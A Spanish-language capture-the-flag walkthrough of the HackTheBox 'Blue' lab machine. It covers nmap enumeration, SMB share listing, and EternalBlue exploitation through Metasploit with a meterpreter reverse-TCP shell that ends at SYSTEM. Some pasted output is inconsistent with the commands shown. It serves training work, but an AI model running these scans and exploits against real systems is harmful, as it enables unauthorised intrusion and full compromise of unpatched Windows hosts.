

236- BLUE

- 1. BLUE
 - 1.1. Preliminar
 - 1.2. Nmap
 - 1.3. SMB
 - 1.4. EternalBlue

1. BLUE

www

<https://app.hackthebox.com/machines/Blue>

The screenshot shows the HackTheBox machine page for 'Blue'. It features a profile picture of a man with a goatee and sunglasses, labeled 'Blue'. The machine is marked as 'RETIRED MACHINE' and 'EASY'. It has a '4.5' machine rating, '41134' user owns, '42327' system owns, and was released on '28/07/2017'. The page is created by 'ch4p' and includes buttons for 'Copy Link' and 'Play Machine'.

1.1. Preliminar

- Creamos nuestro directorio de trabajo, comprobamos que la máquina esté encendida y averiguamos qué sistema operativo es por su **TTL**. Nos enfrentamos a un **Windows**.

```
> ping 10.10.10.40
PING 10.10.10.40 (10.10.10.40) 56(84) bytes of data:
64 bytes from 10.10.10.40: icmp_seq=1 ttl=127 time=47.1 ms
64 bytes from 10.10.10.40: icmp_seq=2 ttl=127 time=46.4 ms
64 bytes from 10.10.10.40: icmp_seq=3 ttl=127 time=45.0 ms
64 bytes from 10.10.10.40: icmp_seq=4 ttl=127 time=45.7 ms
64 bytes from 10.10.10.40: icmp_seq=5 ttl=127 time=45.1 ms
64 bytes from 10.10.10.40: icmp_seq=6 ttl=127 time=45.7 ms
64 bytes from 10.10.10.40: icmp_seq=7 ttl=127 time=48.9 ms
^C
--- 10.10.10.40 ping statistics ---
7 packets transmitted, 7 received, 0% packet loss, time 601ms
rtt min/avg/max/mdev = 44.981/46.283/48.915/1.277 ms
> whichSystem.py 10.10.10.40
10.10.10.40 (ttl -> 127): Windows
```

1.2. Nmap

- Escaneo de puertos sigiloso. Evidencia en archivo *allports*. Vemos que, entre otros, tenemos los puertos 135, 139, 445 abiertos.

```
> nmap -sS -p- --open 10.10.10.40 -T5 -n --min-rate 5000 -oG allports
Starting Nmap 7.93 ( https://nmap.org ) at 2024-02-11 14:22 CET
Warning: 10.10.10.40 giving up on port because retransmission cap hit (2).
Nmap scan report for 10.10.10.40
Host is up (0.044s latency).
Not shown: 64624 closed tcp ports (reset), 902 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT      STATE SERVICE
135/tcp    open  msrpc
139/tcp    open  netbios-ssn
445/tcp    open  microsoft-ds
49152/tcp  open  unknown
49153/tcp  open  unknown
49154/tcp  open  unknown
49155/tcp  open  unknown
49156/tcp  open  unknown
49157/tcp  open  unknown

Nmap done: 1 IP address (1 host up) scanned in 18.33 seconds
> extractPorts allports
```

	File: extractPorts.tmp
1	
2	[*] Extracting information...
3	
4	[*] IP Address: 10.10.10.40
5	[*] Open ports: 135,139,445,49152,49153,49154,49155,49156,49157
6	
7	[*] Ports copied to clipboard
8	

- Escaneo de scripts por defecto y versiones sobre los puertos abiertos, tomando como input los puertos de *allports* mediante `extractPorts`. Evidencia en archivo *targeted*. Observamos que a través del escaneo del servicio **SMB**, nos enfrentamos a un **Windows 7**. En este punto, ya estamos pensando en un posible **EternalBlue**.

```
> nmap -sCV -p135,139,445,49152,49153,49154,49155,49156,49157 -n 10.10.10.40 -oN targeted
Starting Nmap 7.93 ( https://nmap.org ) at 2024-02-11 14:24 CET
Stats: 0:00:27 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 33.33% done; ETC: 14:25 (0:00:52 remaining)
Nmap scan report for 10.10.10.40
Host is up (0.045s latency).
PORT      STATE SERVICE      VERSION
135/tcp    open  msrpc        Microsoft Windows RPC
139/tcp    open  netbios-ssn Microsoft Windows netbios-ssn
445/tcp    open  microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
49152/tcp  open  msrpc        Microsoft Windows RPC
49153/tcp  open  msrpc        Microsoft Windows RPC
49154/tcp  open  msrpc        Microsoft Windows RPC
49155/tcp  open  msrpc        Microsoft Windows RPC
49156/tcp  open  msrpc        Microsoft Windows RPC
49157/tcp  open  msrpc        Microsoft Windows RPC
Service Info: Host: HARIS-PC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_ clock-skew: mean: 2s, deviation: 3s, median: 0s
|_ smb-os-discovery:
|   OS: Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1)
|   OS CPE: cpe:/o:microsoft:windows_7::sp1:professional
|   Computer name: haris-pc
|   NetBIOS computer name: HARIS-PC\X000
|   Workgroup: WORKGROUP\X000
|_ System time: 2024-02-11T13:25:39+00:00
|_ smb-security-mode:
|   authentication_level: user
|   challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
|_ smb-time:
|   date: 2024-02-11T13:25:36
|   start date: 2024-02-11T13:20:07
|_ smb2-security-mode:
|   210:
|_ Message signing enabled but not required

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 70.26 seconds
```

- Por tanto, vamos a ejecutar el script *smb-vuln-ms17-010* de **Nmap** para comprobar si la máquina es vulnerable a **EternalBlue**. Comprobamos que, efectivamente, es vulnerable.

```
> nmap -sV --script=smb-vuln-ms17-010 -p445 10.10.10.40
Starting Nmap 7.93 ( https://nmap.org ) at 2024-02-11 14:57 CET
Nmap scan report for 10.10.10.40
Host is up (0.076s latency).
PORT      STATE SERVICE      VERSION
445/tcp    open  microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)
Service Info: Host: HARIS-PC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_ smb-vuln-ms17-010:
|   VULNERABLE!
|   Remote code execution vulnerability in Microsoft SMBv1 servers (ms17-010)
|   State: VULNERABLE
|   IDs: CVE:CVE-2017-0143
|   Risk factor: HIGH
|   A critical remote code execution vulnerability exists in Microsoft SMBv1
|   servers (ms17-010).
|   Disclosure date: 2017-03-14
|   References:
|   https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
|   https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
|   https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
|_ Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.96 seconds
```

1.3. SMB

- Antes de nada, como el sistema tiene el servicio **SMB** expuesto, tratamos de conectarnos con `smbclient -L //10.10.10.40`. Podemos listar los directorios.

- ```

> smbclient -L //10.10.10.40
Password for [WORKGROUP\root]:

Sharename Type Comment

ADMIN$ Disk Remote Admin
C$ Disk Default share
IPC$ Disk Remote IPC
Share Disk
Users Disk
SMBd disabled -- no workgroup available

```

- Enumeramos estos directorios uno por uno, siendo **Users** el único que tiene contenido. Accedemos a éste con: `smbclient //10.10.10.40/Users`. En cualquier caso, tras explorar los directorios y archivos, no encontramos nada relevante de información.

- ```

> smbclient //10.10.10.40/Users
Password for [WORKGROUP\root]:
Try "help" to get a list of possible commands.
smb: \> ls
.                DR            0  Fri Jul 21 08:56:23 2017
..               DR            0  Fri Jul 21 08:56:23 2017
Default          DHR          0  Tue Jul 14 09:07:31 2009
desktop.ini      AHS          174 Tue Jul 14 06:54:24 2009
Public           DR            0  Tue Apr 12 09:51:29 2011

4692735 blocks of size 4096, 657358 blocks available
smb: \>

```

1.4. EternalBlue

- CVE-2017-0143 (EternalBlue):**
- Vamos a explotar **EternalBlue** recurriendo esta vez a **Metasploit**. Ejecutamos: `search eternal blue` para buscar exploits para esta vulnerabilidad. Elegimos el primero.

- ```

[msf](Jobs:0 Agents:0) exploit(windows/smb/ms17_010_eternalblue) >> search eternal blue
Matching Modules

Name Disclosure Date Rank Check Description
-- -
0 exploit(windows/smb/ms17_010_ 2017-03-14 average Yes MS17-010 SMB Remote Windows Kernel Pool Corruption
1 exploit(windows/smb/ms17_010_psexec 2017-03-14 normal Yes MS17-010 Romance/Synergy/Champion SMB Remote Windows Code Execution
2 auxiliary/admin/smb/ms17_010_command 2017-03-14 normal No MS17-010 Romance/Synergy/Champion SMB Remote Windows Command Execution
3 auxiliary/scanner/smb/ms17_010 2017-03-14 normal No MS17-010 SMB RCE Detection
4 exploit(windows/smb/smb_doublepulsar_rce 2017-04-14 great Yes SMB DOUBLEPULSAR Remote Code Execution

Interact with a module by name or index. For example info 4, use 4 or use exploit(windows/smb/smb_doublepulsar_rce)
[msf](Jobs:0 Agents:0) exploit(windows/smb/ms17_010_eternalblue) >> use 1

```

- Seguidamente, usamos el payload `payload/windows/meterpreter/reverse_tcp`. Establecemos la IP de la víctima y nuestra IP local con `set rhosts 10.10.10.40` y `set lhost 10.10.14.14` respectivamente.

- ```

[msf](Jobs:0 Agents:0) exploit(windows/smb/ms17_010_psexec) >> set payload payload/windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
[msf](Jobs:0 Agents:0) exploit(windows/smb/ms17_010_psexec) >> show options
Module options (exploit(windows/smb/ms17_010_psexec)):
-----
Name      Current Setting  Required  Description
-----
DBGTRACE  false           yes       Show extra debug trace info
LEAKATTEMPTS  59             yes       How many times to try to leak transaction
NAMEDPIPE  /usr/share/metasploit-framework/data/wordlists/named_pipes.txt  yes       A named pipe that can be connected to (leave blank for auto)
RHOSTS    192.168.1.138   yes       List of named pipes to check
RPORT     445             yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
SERVICE_DESCRIPTION  no             no       The target port (TCP)
SERVICE_DISPLAY_NAME  no             no       Service description to be used on target for pretty listing
SERVICE_NAME  no             no       The service name
SHARE      ADMIN$          yes       The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share
SMBDomain  .               no       The Windows domain to use for authentication
SMBPass    .               no       The password for the specified username
SMBUser    .               no       The username to authenticate as

Payload options (windows/meterpreter/reverse_tcp):
-----
Name      Current Setting  Required  Description
-----
EXITFUNC  thread          yes       Exit technique (Accepted: '', seh, thread, process, none)
LHOST     192.168.1.138   yes       The listen address (an interface may be specified)
LPORT     4444            yes       The listen port

Exploit target:
-----
Id  Name
--  -
0   Automatic

```

- Lanzamos el exploit y obtenemos nuestra sesión de **Meterpreter**. Somos **AUTHORITY\SYSTEM**, es decir, el usuario con máximos privilegios en **Windows**. Tras navegar por los directorios, encontramos las flag de usuario y root.

- ```

(Meterpreter 1)(C:\Windows\system32) > getuid
Server username: [NT AUTHORITY\SYSTEM]
(Meterpreter 1)(C:\Windows\system32) > sysinfo
Computer : HARRIS-PC
OS : Windows 7 (6.1 Build 7601, Service Pack 1).
Architecture : x64
System Language : en_GB
Domain : WORKGROUP
Logged On Users : 1
Meterpreter : x86/windows
(Meterpreter 1)(C:\Windows\system32) >

```